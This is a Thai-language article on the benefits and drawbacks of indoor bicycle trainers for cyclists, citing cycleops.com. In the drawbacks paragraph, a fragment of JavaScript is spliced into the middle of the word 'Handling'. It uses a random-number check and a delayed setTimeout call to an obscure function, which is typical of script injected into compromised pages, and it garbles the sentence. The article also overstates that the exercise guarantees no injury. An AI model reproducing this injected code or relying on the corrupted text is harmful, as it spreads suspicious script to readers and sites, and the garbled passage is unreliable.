ถ้านักวิ่งควรมีอุปกรณ์ฝึกซ้อมที่ควรติดบ้านไว้ คือ ลู่วิ่ง (Treadmill) และนักปั่นแล้ว อุปกรณ์ที่มีควรติดบ้านไว้เหมือนกันคือ Bicycle Trainer หรือเรียกสั้นๆ ว่า trainer
ลักษณะการทำงานนั้นแสนง่าย แค่ยกตัวจักรยานมาประกอบเข้ากับ trainer รุ่นที่มีอยู่ทั่วไปตามท้องตลาดคือ ใช้ล้อจักรยานเดิมๆ สัมผัสกับลูกกลิ้งที่สามารถปรับความเสียดทานหนักเบาได้ และรุ่นแพงๆ ขึ้นก็จะเป็นการดึงเอาโซ่จักรยานมาเกี่ยวกับเฟืองของเทรนเนอร์โดยตรง ทำให้การฝึกมีความเสมือนจริงและการตอบสนองทำได้รวดเร็วมากขึ้น
Indoor Bike Trainer มีดีกว่าที่คิด
ที่ไม่มีสิ่งแวดล้อม outdoor อย่าง ลม พื้นถนน และนักปั่นรอบข้างมารบกวน ถ้ามีเวลาฝึก 60 นาที เราจะใช้เวลา indoor 60 นาทีได้เต็มที่มากกว่าการฝึก outdoor 60 นาที และฟีเจอร์อื่นๆ ของเทรนเนอร์ ช่วยในการปรับความหน่วงเบาเหมือนกับการปั่นไต่ความชันหรือปรับเกียร์สูงต่ำ

2. ช่วยปั่น Posture และ pedal stroke เพราะเวลาการปั่น indoor จะสามารถตั้งสมาธิจดจ่อกับการจัดระเบียบร่างกาย การกดน้ำหนักลงฝ่าเท้า และ feeling ของการควงขาได้ดีขึ้น ไม่ต้องเสียเวลาไปปรับตัวตามสภาพแวดล้อม outdoor อย่างการหลบหลีกหลุมบ่อ เป็นต้น นักปั่นสามารถส่องกระจกมองท่าปั่นของตัวเองและค่อยๆ ปรับให้ถูกต้อง การปั่น indoor กับเทรนเนอร์ จะสามารถส่ง feedback ได้ทันที มองปุ๊บก็รู้ปั๊บว่าเราผิดตรงไหน
3. ดีต่อการฝึก Interval มาก เพราะสามารถความคุมจังหวะเวลา อัตราการเต้นของหัวใจ และความหนักหน่วงของการใส่เกียร์ที่จะมีผลต่อรอบขาได้ดี
4. บริหารเวลาได้ดี ใช้เวลาน้อย ไม่ว่าจะเวลาที่ใช้ในการเตรียมตัวที่น้อยลง ออกแบบแผนการฝึกได้กว้างและควบคุมได้ดี

นอกจากการใช้ง่ายและสะดวก เป็นอุปกรณ์ออกกำลังกายที่กินพื้นที่น้อย สามารถใช้งานได้ทุกที่ทุกเวลา จะปั่นไปดูทีวีไปก็ยังได้ ข้อดีของการปั่น Bicycle Trainer อื่นๆ คือ…ช่วยลดหุ่นได้ การผสมความหนักเบาในการปั่นช่วยให้คุณเผาผลาญพลังงานแคลอรี่ได้เพิ่มขึ้น เหมาะสำหรับคนทุกเพศทุกวัย เป็นกีฬาประเภท Low-impact ไม่มีการเจ็บตัวแน่นอน นักออกกำลังกายมือใหม่จนถึงมือเก๋าสามารถใช้ได้หมด ไม่ว่าใช้สร้างความฟิตหรือรักษาความฟิต
แต่ข้อเสียของการฝึก ก็มีเช่นกัน อย่างเช่น เทคนิคการ Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling การปรับเปลี่ยนจังหวะเกียร์ การเข้าโค้งเลี้ยวต่างๆ การปรับเกียร์ตามสภาพพื้นผิวถนนและแรงลม ที่ไม่ได้ฝึกในสภาพจริง การยืนปั่นเร่งความเร็วหรือระหว่างไต่เขา เป็นต้น
อ้างอิง www.cycleops.com